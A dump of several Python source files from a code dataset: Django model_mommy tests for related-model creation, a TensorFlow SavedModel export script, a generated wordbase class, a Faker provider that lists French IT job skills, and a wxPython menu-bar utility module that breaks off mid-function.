self.assertIsNone(lonely_person.pk)\n self.assertTrue(lonely_person.only_friend.pk)\n\n\nclass MommyCreatesAssociatedModels(TestCase):\n\n def test_dependent_models_with_ForeignKey(self):\n dog = mommy.make(models.Dog)\n self.assertIsInstance(dog.owner, models.Person)\n\n def test_foreign_key_on_parent_should_create_one_object(self):\n '''\n Foreign key on parent gets created twice. Once for\n parent oject and another time for child object\n '''\n person_count = models.Person.objects.count()\n mommy.make(models.GuardDog)\n self.assertEqual(models.Person.objects.count(), person_count + 1)\n \n def test_foreign_key_on_parent_is_not_created(self):\n '''\n Foreign key on parent doesn't get created using owner\n '''\n owner = mommy.make(models.Person)\n person_count = models.Person.objects.count()\n dog = mommy.make(models.GuardDog, owner=owner)\n self.assertEqual(models.Person.objects.count(), person_count)\n self.assertEqual(dog.owner, owner)\n \n def test_foreign_key_on_parent_id_is_not_created(self):\n '''\n Foreign key on parent doesn't get created using owner_id\n '''\n owner = mommy.make(models.Person)\n person_count = models.Person.objects.count()\n dog = mommy.make(models.GuardDog, owner_id=owner.id)\n self.assertEqual(models.Person.objects.count(), person_count)\n self.assertEqual(models.GuardDog.objects.get(pk=dog.pk).owner, owner)\n\n def test_auto_now_add_on_parent_should_work(self):\n '''\n Foreign key on parent gets created twice. Once for\n parent oject and another time for child object\n '''\n person_count = models.Person.objects.count()\n dog = mommy.make(models.GuardDog)\n self.assertNotEqual(dog.created, None)\n\n def test_attrs_on_related_model_through_parent(self):\n '''\n Foreign key on parent gets created twice. Once for\n parent oject and another time for child object\n '''\n mommy.make(models.GuardDog, owner__name='john')\n for person in models.Person.objects.all():\n self.assertEqual(person.name, 'john')\n\n def test_prepare_fk(self):\n dog = mommy.prepare(models.Dog)\n self.assertIsInstance(dog, models.Dog)\n self.assertIsInstance(dog.owner, models.Person)\n\n self.assertEqual(models.Person.objects.all().count(), 0)\n self.assertEqual(models.Dog.objects.all().count(), 0)\n\n def test_create_one_to_one(self):\n lonely_person = mommy.make(models.LonelyPerson)\n\n self.assertEqual(models.LonelyPerson.objects.all().count(), 1)\n self.assertTrue(isinstance(lonely_person.only_friend, models.Person))\n self.assertEqual(models.Person.objects.all().count(), 1)\n\n def test_create_many_to_many_if_flagged(self):\n store = mommy.make(models.Store, make_m2m=True)\n self.assertEqual(store.employees.count(), 5)\n self.assertEqual(store.customers.count(), 5)\n\n def test_regresstion_many_to_many_field_is_accepted_as_kwargs(self):\n employees = mommy.make(models.Person, _quantity=3)\n customers = mommy.make(models.Person, _quantity=3)\n\n store = mommy.make(models.Store, employees=employees, customers=customers)\n\n self.assertEqual(store.employees.count(), 3)\n self.assertEqual(store.customers.count(), 3)\n self.assertEqual(models.Person.objects.count(), 6)\n\n def test_create_many_to_many_with_set_default_quantity(self):\n store = mommy.make(models.Store, make_m2m=True)\n self.assertEqual(store.employees.count(), mommy.MAX_MANY_QUANTITY)\n self.assertEqual(store.customers.count(), mommy.MAX_MANY_QUANTITY)\n\n def test_create_many_to_many_with_through_option(self):\n \"\"\"\n This does not works\n \"\"\"\n # School student's attr is a m2m relationship with a model through\n school = mommy.make(models.School, make_m2m=True)\n self.assertEqual(models.School.objects.count(), 1)\n self.assertEqual(school.students.count(), mommy.MAX_MANY_QUANTITY)\n self.assertEqual(models.SchoolEnrollment.objects.count(), mommy.MAX_MANY_QUANTITY)\n self.assertEqual(models.Person.objects.count(), mommy.MAX_MANY_QUANTITY)\n\n def test_does_not_create_many_to_many_as_default(self):\n store = mommy.make(models.Store)\n self.assertEqual(store.employees.count(), 0)\n self.assertEqual(store.customers.count(), 0)\n\n def test_does_not_create_nullable_many_to_many_for_relations(self):\n classroom = mommy.make(models.Classroom, make_m2m=False)\n self.assertEqual(classroom.students.count(), 0)\n\n def test_nullable_many_to_many_is_not_created_even_if_flagged(self):\n classroom = mommy.make(models.Classroom, make_m2m=True)\n self.assertEqual(classroom.students.count(), 0)\n\n def test_m2m_changed_signal_is_fired(self):\n # Use object attrs instead of mocks for Django 1.4 compat\n self.m2m_changed_fired = False\n def test_m2m_changed(*args, **kwargs):\n self.m2m_changed_fired = True\n m2m_changed.connect(test_m2m_changed, dispatch_uid='test_m2m_changed')\n mommy.make(models.Store, make_m2m=True)\n self.assertTrue(self.m2m_changed_fired)\n\n def test_simple_creating_person_with_parameters(self):\n kid = mommy.make(models.Person, happy=True, age=10, name='Mike')\n self.assertEqual(kid.age, 10)\n self.assertEqual(kid.happy, True)\n self.assertEqual(kid.name, 'Mike')\n\n def test_creating_person_from_factory_using_paramters(self):\n person_mom = mommy.Mommy(models.Person)\n person = person_mom.make(happy=False, age=20, gender='M', name='John')\n self.assertEqual(person.age, 20)\n self.assertEqual(person.happy, False)\n self.assertEqual(person.name, 'John')\n self.assertEqual(person.gender, 'M')\n\n def test_ForeignKey_model_field_population(self):\n dog = mommy.make(models.Dog, breed='X1', owner__name='Bob')\n self.assertEqual('X1', dog.breed)\n self.assertEqual('Bob', dog.owner.name)\n\n def test_ForeignKey_model_field_population_should_work_with_prepare(self):\n dog = mommy.prepare(models.Dog, breed='X1', owner__name='Bob')\n self.assertEqual('X1', dog.breed)\n self.assertEqual('Bob', dog.owner.name)\n\n def test_ForeignKey_model_field_population_for_not_required_fk(self):\n user = mommy.make(models.User, profile__email=\"a@b.com\")\n self.assertEqual('a@b.com', user.profile.email)\n\n def test_does_not_creates_null_ForeignKey(self):\n user = mommy.make(models.User)\n self.assertFalse(user.profile)\n\n def test_passing_m2m_value(self):\n store = mommy.make(models.Store, customers=[mommy.make(models.Person)])\n self.assertEqual(store.customers.count(), 1)\n\n def test_ensure_recursive_ForeignKey_population(self):\n bill = mommy.make(models.PaymentBill, user__profile__email=\"a@b.com\")\n self.assertEqual('a@b.com', bill.user.profile.email)\n\n def test_field_lookup_for_m2m_relationship(self):\n store = mommy.make(models.Store, suppliers__gender='M')\n suppliers = store.suppliers.all()\n self.assertTrue(suppliers)\n for supplier in suppliers:\n self.assertEqual('M', supplier.gender)\n\n def test_field_lookup_for_one_to_one_relationship(self):\n lonely_person = mommy.make(models.LonelyPerson, only_friend__name='Bob')\n self.assertEqual('Bob', lonely_person.only_friend.name)\n\n def test_allow_create_fkey_related_model(self):\n try:\n person = mommy.make(models.Person, dog_set=[mommy.make(models.Dog),\n mommy.make(models.Dog)])\n except TypeError:\n self.fail('type error raised')\n\n self.assertEqual(person.dog_set.count(), 2)\n\n def test_field_lookup_for_related_field(self):\n person = mommy.make(\n models.Person,\n one_related__name='Foo',\n fk_related__name='Bar',\n )\n\n self.assertTrue(person.pk)\n self.assertTrue(person.one_related.pk)\n self.assertTrue(1, person.fk_related.count())\n self.assertEqual('Foo', person.one_related.name)\n self.assertEqual('Bar', person.fk_related.get().name)\n\n def test_field_lookup_for_related_field_does_not_work_with_prepare(self):\n person = mommy.prepare(\n models.Person,\n one_related__name='Foo',\n fk_related__name='Bar',\n )\n\n self.assertFalse(person.pk)\n self.assertEqual(0, models.RelatedNamesModel.objects.count())\n\n\nclass HandlingUnsupportedModels(TestCase):\n def test_unsupported_model_raises_an_explanatory_exception(self):\n try:\n mommy.make(models.UnsupportedModel)\n self.fail(\"Should have raised a TypeError\")\n except TypeError as e:\n self.assertTrue('not supported' in repr(e))\n\n\nclass HandlingModelsWithGenericRelationFields(TestCase):\n def test_create_model_with_generic_relation(self):\n dummy = mommy.make(models.DummyGenericRelationModel)\n self.assertIsInstance(dummy, models.DummyGenericRelationModel)\n\n\nclass HandlingContentTypeField(TestCase):\n def test_create_model_with_contenttype_field(self):\n dummy = mommy.make(models.DummyGenericForeignKeyModel)\n self.assertIsInstance(dummy, models.DummyGenericForeignKeyModel)\ntry:\n from django.test import SimpleTestCase\n class HandlingContentTypeFieldNoQueries(SimpleTestCase):\n def test_create_model_with_contenttype_field(self):\n dummy = mommy.prepare(models.DummyGenericForeignKeyModel)\n self.assertIsInstance(dummy, models.DummyGenericForeignKeyModel)\nexcept ImportError:\n pass\n\n\nclass SkipNullsTestCase(TestCase):\n def test_skip_null(self):\n dummy = mommy.make(models.DummyNullFieldsModel)\n self.assertEqual(dummy.null_foreign_key, None)\n self.assertEqual(dummy.null_integer_field, None)\n\n\nclass FillNullsTestCase(TestCase):\n def test_create_nullable_many_to_many_if_flagged_and_fill_field_optional(self):\n classroom = mommy.make(models.Classroom, make_m2m=True, _fill_optional=[\n 'students'])\n self.assertEqual(classroom.students.count(), 5)\n\n def test_create_nullable_many_to_many_if_flagged_and_fill_optional(self):\n classroom = mommy.make(models.Classroom, make_m2m=True, _fill_optional=True)\n self.assertEqual(classroom.students.count(), 5)\n\n def test_nullable_many_to_many_is_not_created_if_not_flagged_and_fill_optional(self):\n classroom = mommy.make(models.Classroom, make_m2m=False, _fill_optional=True)\n self.assertEqual(classroom.students.count(), 0)\n\n\nclass SkipBlanksTestCase(TestCase):\n def test_skip_blank(self):\n dummy = mommy.make(models.DummyBlankFieldsModel)\n self.assertEqual(dummy.blank_char_field, '')\n self.assertEqual(dummy.blank_text_field, '')\n\n\nclass FillBlanksTestCase(TestCase):\n def test_fill_field_optional(self):\n dummy = mommy.make(models.DummyBlankFieldsModel, _fill_optional=['blank_char_field'])\n self.assertEqual(len(dummy.blank_char_field), 50)\n\n def test_fill_many_optional(self):\n dummy = mommy.make(models.DummyBlankFieldsModel, _fill_optional=['blank_char_field', 'blank_text_field'])\n self.assertEqual(len(dummy.blank_text_field), 300)\n\n def test_fill_all_optional(self):\n dummy = mommy.make(models.DummyBlankFieldsModel, _fill_optional=True)\n self.assertEqual(len(dummy.blank_char_field), 50)\n self.assertEqual(len(dummy.blank_text_field), 300)\n\n def test_fill_optional_with_integer(self):\n with self.assertRaises(TypeError):\n mommy.make(models.DummyBlankFieldsModel, _fill_optional=1)\n\n\nclass FillAutoFieldsTestCase(TestCase):\n\n def test_fill_autofields_with_provided_value(self):\n mommy.make(models.DummyEmptyModel, id=237)\n saved_dummy = models.DummyEmptyModel.objects.get()\n self.assertEqual(saved_dummy.id, 237)\n\n def test_keeps_prepare_autovalues(self):\n dummy = mommy.prepare(models.DummyEmptyModel, id=543)\n self.assertEqual(dummy.id, 543)\n dummy.save()\n saved_dummy = models.DummyEmptyModel.objects.get()\n self.assertEqual(saved_dummy.id, 543)\n\n\nclass SkipDefaultsTestCase(TestCase):\n def test_skip_fields_with_default(self):\n dummy = mommy.make(models.DummyDefaultFieldsModel)\n self.assertEqual(dummy.default_char_field, 'default')\n self.assertEqual(dummy.default_text_field, 'default')\n self.assertEqual(dummy.default_int_field, 123)\n self.assertEqual(dummy.default_float_field, 123.0)\n self.assertEqual(dummy.default_date_field, '2012-01-01')\n self.assertEqual(dummy.default_date_time_field, datetime(2012, 1, 1))\n self.assertEqual(dummy.default_time_field, '00:00:00')\n self.assertEqual(dummy.default_decimal_field, Decimal('0'))\n self.assertEqual(dummy.default_email_field, 'foo@bar.org')\n self.assertEqual(dummy.default_slug_field, 'a-slug')\n\n\nclass MommyHandlesModelWithNext(TestCase):\n def test_creates_instance_for_model_with_next(self):\n instance = mommy.make(\n models.BaseModelForNext,\n fk=mommy.make(models.ModelWithNext),\n )\n\n self.assertTrue(instance.id)\n self.assertTrue(instance.fk.id)\n self.assertTrue(instance.fk.attr)\n self.assertEqual('foo', instance.fk.next())\n\n\nclass MommyHandlesModelWithList(TestCase):\n def test_creates_instance_for_model_with_list(self):\n instance = mommy.make(\n models.BaseModelForList,\n fk=[\"foo\"]\n )\n\n self.assertTrue(instance.id)\n self.assertEqual([\"foo\"], instance.fk)\n\nfrom test.generic.forms import DummyGenericIPAddressFieldForm\n\nclass MommyGeneratesIPAdresses(TestCase):\n def test_create_model_with_valid_ips(self):\n form_data = {\n 'ipv4_field': random_gen.gen_ipv4(),\n 'ipv6_field': random_gen.gen_ipv6(),\n 'ipv46_field': random_gen.gen_ipv46(),\n }\n self.assertTrue(DummyGenericIPAddressFieldForm(form_data).is_valid())\n\n\nclass MommyAllowsSaveParameters(TestCase):\n\n def setUp(self):\n self.owner = mommy.make(models.Person)\n\n def test_allows_save_kwargs_on_mommy_make(self):\n dog = mommy.make(models.ModelWithOverridedSave, _save_kwargs={'owner': self.owner})\n self.assertEqual(self.owner, dog.owner)\n\n dog1, dog2 = mommy.make(models.ModelWithOverridedSave, _save_kwargs={'owner': self.owner}, _quantity=2)\n self.assertEqual(self.owner, dog1.owner)\n self.assertEqual(self.owner, dog2.owner)\n","sub_path":"test/generic/tests/test_mommy.py","file_name":"test_mommy.py","file_ext":"py","file_size_in_byte":20689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"67467767","text":"batch_size = 32\n\nimport tensorflow as tf\nfrom tensorflow.saved_model import signature_constants\nfrom tensorflow.python.framework import ops\nfrom tensorflow.tools.graph_transforms import TransformGraph\nfrom tensorflow import graph_util\nfrom tensorflow.core.protobuf import saved_model_pb2\nfrom tensorflow.python.util import compat\nfrom tensorflow.contrib.lookup import MutableHashTable\n\nfrom tensorflow.python.tools import optimize_for_inference_lib\n\nimport numpy as np\nimport os, time, traceback\nfrom tensorflow.python.util import deprecation\n#deprecation._PRINT_DEPRECATION_WARNINGS = False\n\n\nclass Trainer(object):\n def build_graph(self, batch_size):\n \"\"\"\n Build a graph containing the MutableHashTable and tf.Variable\n storage for dumping test.\n Args:\n params batch_size: batch_size of the raw data generator\n Return:\n A tensor list of prediction.\n \"\"\"\n v = [_i for _i in range(batch_size)]\n self.a = tf.constant(v, name = 'train/a')\n a = tf.reshape(self.a, (-1 ,))\n\n keys = tf.constant(v, dtype = tf.int32, name = 'train/keys')\n keys = tf.reshape(keys, (-1, ))\n values = tf.constant(v, dtype = tf.float32, name = 'train/values')\n values = tf.reshape(values, (-1, 1))\n \n mht = MutableHashTable(\n key_dtype = tf.int32,\n value_dtype = tf.float32,\n default_value = tf.constant([0], dtype=tf.float32),\n checkpoint = True,\n name = 'mht'\n )\n\n update = mht.insert(keys, values)\n export = mht.export()\n\n b = mht.lookup(a)\n b = tf.reshape(b, (-1, 1))\n var = tf.Variable(v, dtype=tf.float32, name = 'my_var')\n c = tf.multiply(b, var)\n c = tf.reduce_sum(c, name = 'train/c')\n \n return c, update, export\n\n def build_inference_graph(self, batch_size):\n \"\"\"\n Build a graph containing the MutableHashTable and tf.Variable\n storage for dumping test.\n Args:\n params batch_size: batch_size of the raw data generator\n Return:\n A tensor list of prediction.\n \"\"\"\n v = [_i for _i in range(batch_size)]\n #self.a = tf.constant(v, dtype=tf.int32, name = 'train/a')\n self.a = tf.placeholder(tf.int32, name = 'train/a')\n a = tf.reshape(self.a, (-1 ,))\n\n keys = tf.constant(v, dtype = tf.int32, name = 'train/keys')\n keys = tf.reshape(keys, (-1, ))\n values = tf.constant(v, dtype = tf.float32, name = 'train/values')\n values = tf.reshape(values, (-1, 1))\n \n mht = MutableHashTable(\n key_dtype = tf.int32,\n value_dtype = tf.float32,\n default_value = tf.constant([0], dtype=tf.float32),\n checkpoint = True,\n name = 'mht'\n )\n\n update = mht.insert(keys, values)\n export = mht.export()\n\n b = mht.lookup(a)\n b = tf.reshape(b, (-1, 1))\n var = tf.Variable(v, dtype=tf.float32, name = 'my_var')\n c = tf.multiply(b, var)\n c = tf.reduce_sum(c, name = 'train/c')\n \n return c, update, export\n\nif __name__ == \"__main__\":\n try:\n export_dir = './saved_model_bs_' + str(batch_size)\n ckpt_dir = 'ckpt/model_bs_' + str(batch_size)\n\n print('start demo')\n trainer = Trainer()\n rt, update, export = trainer.build_graph(batch_size)\n\n with tf.Session() as sess:\n saver = tf.train.Saver(\n max_to_keep = 1,\n restore_sequentially = True,\n )\n\n sess.run(tf.global_variables_initializer())\n sess.run(update)\n check = sess.run(export)\n print(check)\n\n saver.save(\n sess,\n ckpt_dir,\n )\n #saver.export_meta_graph(\n #\n #)\n\n input_node_names = ['train/a']\n output_node_names = ['train/c']\n new_g = optimize_for_inference_lib.optimize_for_inference(\n sess.graph.as_graph_def(),\n input_node_names,\n output_node_names,\n tf.int32.as_datatype_enum,\n )\n print(new_g)\n\n input_tensor_dict = {'train/a': trainer.a}\n output_tensor_dict = {'train/c': rt}\n\n tags = [tf.saved_model.tag_constants.SERVING]\n signature_def_map = {\n signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY:\n tf.saved_model.signature_def_utils.predict_signature_def(\n inputs = input_tensor_dict,\n outputs = output_tensor_dict,\n ),\n }\n\n builder = tf.compat.v1.saved_model.Builder(export_dir)\n builder.add_meta_graph_and_variables(\n sess,\n tags,\n signature_def_map = signature_def_map,\n clear_devices = True,\n assets_collection=ops.get_collection(ops.GraphKeys.ASSET_FILEPATHS),\n )\n builder.save()\n \n except:\n print(traceback.format_exc())\n \n","sub_path":"tensorflow/inference/freeze_test/model_gen.py","file_name":"model_gen.py","file_ext":"py","file_size_in_byte":5186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"107217569","text":"\n\n#calss header\nclass _SCAPEGOAT():\n\tdef __init__(self,): \n\t\tself.name = \"SCAPEGOAT\"\n\t\tself.definitions = [u'a person who is blamed for something that someone else has done: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_scapegoat.py","file_name":"_scapegoat.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"134117082","text":"from faker import Faker\nfrom faker.providers import BaseProvider\nfake = Faker()\n\n\nclass Provider(BaseProvider):\n skills = [\n \"IE JEE\",\n \"décisionnel\",\n \"IE PHP/JEE\",\n \"MVS Cobol\",\n \".Net\",\n \"Mainframe\",\n \"Java J2EE\",\n \"Java J2EE / JS \",\n \" MOA / MOE\",\n \"HOST\",\n \"JAVA\",\n \"mainframe COBOL\",\n \"CP AMOA\",\n \"IE Mainframe (Cobol IDMS)\",\n \"BO\",\n \"Java débutant\",\n \"IE Java/J2EE 10 ans d'XP\",\n \"Mainframe (COBOL,IDMS, Pacbase, ...)\",\n \"CDP : PHP, .Net\",\n \"MOA / BI\",\n \"Java JEE - CDP\",\n \" Mainframe (COBOL, IDMS)\",\n \"IE VB/Excel/Access, test\",\n \"Java EE\",\n \"Talend\",\n \"PHP\",\n \"AMOA\",\n \" IE Java/J2EE\",\n \"Dev Java Web\",\n \"PL1, Test\",\n \"J2E\",\n \"junior JAVA J2EE\",\n \"Pilotage, analyse\",\n \"mvs pacbase cobol\",\n \"Agile coach, Scrum Master, Product-Owner\",\n \"MOA / Décisionnel - BO\",\n \"JAVA/ PHP\",\n \"JAVA J2EE R\",\n \" Développement Java\",\n \"CDP Java EE et mobilité\",\n \"dév Java EE\",\n \"Java EE et Talend\",\n \"Décisionnel BO, BIRT\",\n \"pmo/cp\",\n \"Technicien syst/réseaux\",\n \"Analyse et développement Mainframe\",\n \"CP - SCRUM MASTER\",\n \"chef de projet\",\n \"CDP .Net\",\n \"PACBASE\",\n \"AP Mainframe\",\n \"Analyse Cobol Pacbase\",\n \"BPL\",\n \"IED JAVA J2EE\",\n \"CP\",\n \"BPL - Test\",\n \"IED C/C++/Java\",\n \"ISPL PMO\",\n \"CP technique\",\n \"Support fonctionnel\",\n \"CP technique - Scrum Master\",\n \"JAVA JEE Junior\",\n \"HTML5, CSS3\",\n \"IOS\",\n \"FRONT END\",\n \"MVS, PACBASE\",\n \"CP JAVA J2EE\",\n \"COBOL/.Net\",\n \"SAP AMOA\",\n \"Expert JAVA/JEE LIFERAY\",\n \"IED JAVA/JEE\",\n \"Chef de projet Infra\",\n \"BPL - support technique et fonctionnel\",\n \"CP Infra\",\n \"Pépinière PACBASE\",\n \"IE Java-J2EE\",\n \"IE Java\",\n \"dot net\",\n \"IED/EXPERT JAVA JEE\",\n \"PMO Qualité Conception Décisionnel\",\n \"BPL - support\",\n \"IE C#, .Net, Java\",\n \"IED JAVA\"\n \"Développeur Pacbase/Cobol\",\n \"IED Mobile\",\n \"lead tech Java EE\",\n \"Fonctionnelle Test\",\n \"Java/J2EE expert\",\n \"DEV Android\",\n \"Technicien IT Infotel\",\n \"IED Avant Vente\",\n \"Java - intégration\",\n \"DEV WEB (HTML, CSS, PHP) C# .NET\",\n \"IED JAVA/JEE ANDROID (ex stagiaire)\",\n \"IED Infra/projet (ex stagiaire)\",\n \"IED ElasticStack/.Net C# (ex stagiaire)\",\n \"Testeur\",\n \"IED junior JAVA/JEE PHP\",\n \"Support technique & fonctionnel\",\n \"Access Management / IBM\",\n \"Support\",\n \"IED Junior C#/Angular/PHP (ex-alternant)\"\n \"IED WEB (PHP/JAVASCRIPT) /JAVAJEE/.NET (C#) - (ex-stagiaire)\",\n \"Ingénieur décisionnel (ex-stagiaire)\",\n \"IED (ex-stagiaire) ANDROID JAVA\",\n \"IED JUNIOR JAVA PLM\",\n \"IED BI (ex-stagiaire)\",\n \"DigDash, Pentaho, PowerBI, PHP, Qlikview (ex-stagiaire)\",\n \"Scala, Spark, Hadoop, MongoDB, C#, Java (ex-stagiaire)\",\n \"JEE\",\n \"Cobol Java (ex-stagiaire)\",\n \"PMO\",\n \"AVV, CP, Infrastructure\",\n \".net, Front end,angular , java - 2-3 ans d'exp\"\n \"Pépinière Digitale\",\n \"Stagiaire (IED) Session JAVA\"\n \"stagiaire Session JAVA\",\n \"Ingénieur Technico Fonctionnel SAP\",\n \"Ingénieur Support Fonctionnel (ex-sous-traitant SVI)\",\n \"Gestion de projet MOE - AMOA\",\n \"MOA/Chef de Projet/ Dév. Java\",\n \"intégrateur/ développeur JEE\",\n \"CP/Scrum Master\",\n \"BPL (ex-soustraitant)\",\n \"Analyste Mainframe\",\n \"Consultant Fonctionnel (ex-soustraitant ATR)\",\n \"Consultante Fonctionnelle\",\n \"Consultant support SAP BI\",\n \".NET(+) , JS\",\n \"Consultante Fonctionnelle JD\",\n \"Ingénieur JD (stage Analyste Fonctionnel SAP)\",\n \"Infra\",\n \"php JAVA\",\n \"Dev Java/JEE - Mobile Android/iOs\",\n \"CP Infra / ITPL / Process ITIL\",\n \"MOA décisionnel\",\n \"Fonctionnel Santé - Mainframe\",\n \"Cobol - Java\",\n \"Consultant Fonctionnel JD\",\n \"Concepteur Mainframe\",\n \"JD Fonctionnel\",\n \"CP technique JAVA/ELK\",\n \"Consultante Fonctionnelle (ex souss-traitante QMI)\",\n \"Support N2 (ex-sous-traitant TITS)\",\n \"java junior\",\n \"Ingénieur Systèmes Linux - Chef de projet Infra\",\n \"Référent Technique\",\n \"Dieu tout pusisant\",\n \"BPL (actuellement fonctionnelle SAP)\",\n \"Expert Technique/architecte/CP Infra\",\n \"Session JAVA\",\n \"IE JAVA / Angular\",\n \"Front\",\n \"coordination\",\n \"Session PACBASE\",\n \"DEV .NET\",\n \"Java, Selenium, MOA\",\n \"VMOE, pilotage\",\n \"Pilotage\",\n \"Jeune Java\",\n \".Net, Java\",\n \"AF, CP junior\",\n \"AMOA/PMO\",\n \"java j2EE junior\",\n \"ANDROID\",\n \"Data Analyse / MOA / PMO\",\n \"Développeur/Lead Developpeur PACBASE\",\n \"mvs pacbase\",\n \"CP Java\",\n \"Chef de projet technico-fonctionnel\",\n \"Developpeur\",\n \"Développeuse .NET\",\n \"Campus OAIO\",\n \"Développeur Front End\",\n \"CP Junior\",\n \"integration/ CP\",\n \"cp mvs\",\n \"cp/pmo\",\n \"Cobol, fonctionnel\",\n \"ANALYSTE FONCT\",\n \"IED Junior Mobile\",\n \"IED C#/.NET\",\n \"Consultant Fonctionnel/AMOA PLM\",\n \"Java, C++\",\n \"BI - reporting - DigDash/BO\",\n \"DEV Mobile JAVA/Android/iOS (ex-stagiaire)\",\n \"PO/Chef de projet Fonctionnel\",\n \"Dev Full Stack\",\n \"CP MOA/MOE\",\n \"Java/J2EE\",\n \"Coach Agile/Scrum Master\",\n \"Infra SAP\",\n \"CP / PO / BPL\",\n \"AMOA Senior\",\n \"AMOA confirmée\",\n \"PMO / Pilote de projet\",\n \"COBOL WINDEV\",\n \"Dev Mobile/ Angular\",\n \"IED Junior C,JAVA (ex-stagiaire)\",\n \"IED (ex-stagiaire)\",\n \"DP/CP\",\n \"Directeur d'hôpital\",\n \"Professeur de lycée professionnel ou technique\",\n \"Automaticien Tests\",\n \"Testeur Fonctionnel\",\n \"Analyste de Tests\",\n\n ]\n def skill(self):\n\n return self.random_element(self, skills)\n\n\nfake.add_provider(Provider)","sub_path":"Resources/Libs/Provider.py","file_name":"Provider.py","file_ext":"py","file_size_in_byte":6524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"371320590","text":"\"\"\" library.utilities.wxUtils.py\r\n\r\n This Python module implements various utility routines which make it easier\r\n to use the wxPython user-interface library.\r\n\"\"\"\r\nimport string\r\nimport sys\r\nimport traceback\r\n\r\nimport wx\r\nimport wx.html\r\nimport wx.lib.dialogs\r\nimport wx.lib.mixins.listctrl\r\n\r\n#############################################################################\r\n\r\ndef getTopFrame():\r\n \"\"\" Return the currently active frame, or None if no frame is active.\r\n\r\n There appears to be no way in wxPython of finding the front-most window\r\n in an application. This convenience routine is provided to easily find\r\n the top-most frame, for example when you want to have a modal dialog\r\n box pop up in front of the front-most frame, and you don't already know\r\n which frame is currently in the front.\r\n \"\"\"\r\n win = wx.Window_FindFocus()\r\n while win != None and not win.IsTopLevel():\r\n win = win.GetParent()\r\n\r\n return win\r\n\r\n\r\ndef addToMenuBar(menu, item, handler=None, context=None, itemID=None,\r\n passFrame=False, disabled=False):\r\n \"\"\" Add a new menu item to the application's default menu bar.\r\n\r\n The parameters are as follows:\r\n\r\n 'menu' The name of the menu to add to the menu bar.\r\n\r\n 'item' The name of the menu item to add to this menu. If the\r\n item starts with a hyphen (\"-\") character, the item\r\n will be a separator. In this case, no handler or\r\n context is required.\r\n\r\n 'handler' A Python callable object which will be called when the\r\n user selects this menu item.\r\n\r\n 'context' A string identifying the context in which this menu\r\n item should be disabled.\r\n\r\n 'itemID' If not None, this should be the ID to use for this\r\n menu item. If this is not specified, a new unique ID\r\n will be allocated for this item.\r\n\r\n 'passFrame' If True, a reference to the menu bar's wx.Frame will\r\n passed as the single parameter to the handler. If\r\n this is False, no parameters will be passed to the\r\n handler function.\r\n\r\n 'disabled' If True, this command will be permanently disabled.\r\n\r\n The 'context' string can be used to associate a particular menu item\r\n with a particular window, so that the menu item will be disabled in\r\n that window's menu bar. This can be used, for example, to disable the\r\n \"Show Workbench\" command if the Workbench window is already in front.\r\n\r\n Note that, if 'passFrame' is True, the 'itemID' cannot be defined in\r\n advance. This is because thes system uses menu item IDs to see which\r\n frame the menu item belongs to.\r\n \"\"\"\r\n global _defaultMenus # List of menus. Each item in this list is a [menu,\r\n # items] tuple, where 'items' is a list of menu items.\r\n # Each menu item is a dictionary with the following\r\n # entries:\r\n #\r\n # 'item' The name of the menu item.\r\n #\r\n # 'handler' The Python callable object to call\r\n # when this item is selected.\r\n #\r\n # 'context' The context in which this menu item\r\n # exists.\r\n #\r\n # 'itemID' The ID to use for this menu item, or\r\n # None if the system should allocate a\r\n # new unique ID for this item each\r\n # time.\r\n #\r\n # 'passFrame' Should we padd a reference to the\r\n # menu bar's wx.Frame to the handler?\r\n #\r\n # 'disabled' If True, this command will be\r\n # permanently disabled.\r\n\r\n try:\r\n if _defaultMenus == None: pass\r\n except NameError:\r\n _defaultMenus = []\r\n\r\n found = False\r\n for i in range(len(_defaultMenus)):\r\n if _defaultMenus[i][0] == menu:\r\n found = True\r\n break\r\n\r\n if not found:\r\n _defaultMenus.append([menu, []])\r\n i = len(_defaultMenus)-1\r\n\r\n _defaultMenus[i][1].append({'item' : item,\r\n 'handler' : handler,\r\n 'context' : context,\r\n 'itemID' : itemID,\r\n 'passFrame' : passFrame,\r\n 'disabled' : disabled})\r\n\r\n\r\ndef addCloseCmdToMenuBar(menu, item):\r\n \"\"\" Add a \"Close...\" command to the application's default menu bar.\r\n\r\n 'menu' and 'item' are the name of the menu and menu item to add to the\r\n default menu bar. The given item, when selected, will close the\r\n front-most window.\r\n \"\"\"\r\n def _doClose(frame):\r\n frame.Close()\r\n\r\n addToMenuBar(menu, item, _doClose, passFrame=True)\r\n\r\n\r\ndef addQuitCmdToMenuBar(menu, item):\r\n \"\"\" Add a \"Quit\" command to the application's default menu bar.\r\n\r\n 'menu' and 'item' are the name of the menu and menu item to add to the\r\n default menu bar. The given item, when selected, will quit the\r\n application.\r\n \"\"\"\r\n def _doQuit():\r\n Framework.shutdown()\r\n\r\n addToMenuBar(menu, item, _doQuit, itemID=wx.ID_EXIT)\r\n\r\n\r\ndef setExtraMenuItemInsertionPoint(inMenu=\"File\", beforeItem=2):\r\n \"\"\" Set the point at which extra menu items should be placed.\r\n\r\n A module may want to insert some items into the existing menu bar in a\r\n standard location. For example, a module which allows the user to edit\r\n a text file may want to insert a \"Save...\" command into the\r\n already-existing menus, rather than creating an extra menu for this\r\n task.\r\n\r\n This function tells the system where these extra menu items should be\r\n placed. 'inMenu' should be the name of the default menu where the\r\n item(s) should go, and 'beforeItem' should be the index into that menu\r\n where the new items should appear.\r\n\r\n Note that the default parameters (\"File\" and 2) assume that the extra\r\n items should be placed into the \"File\" menu, immediately after the\r\n separator following the standard \"Close\" item. You can, of course,\r\n provide different parameters if you use a different menu organisation\r\n in your application.\r\n\r\n This function must be called if you use any Python module which inserts\r\n additional items into the standard menu bar. This includes several\r\n library modules, including the Workbench.\r\n \"\"\"\r\n global _addExtraMenuItemsToMenu\r\n global _addExtraMenuItemsBeforeItem\r\n\r\n 